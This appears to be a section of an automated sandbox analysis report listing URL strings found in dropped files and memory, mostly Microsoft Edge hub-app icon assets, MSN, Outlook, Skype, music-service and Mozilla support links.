Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr, HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log4.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr, HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log4.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_454.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_454.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_454.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_454.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://gaana.com/
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: CFBFHIEBKJKFHIEBFBAE.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://m.vk.com/
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXIDv10
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log1.9.dr, 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log7.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log7.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log7.9.dr, 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13374773965640177.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_454.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_458.5.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_458.5.dr	String found in binary or memory: https://plus.googleapis.com
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: KFIJJJEBGCFBGDHIDGCAEGDAAF.0.dr	String found in binary or memory: https://support.mozilla.org
Source: KFIJJJEBGCFBGDHIDGCAEGDAAF.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: KFIJJJEBGCFBGDHIDGCAEGDAAF.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://tidal.com/
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://web.whatsapp.com
Source: 0c6e7575-cb85-4d10-8b50-06172b61256d.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: chromecache_458.5.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
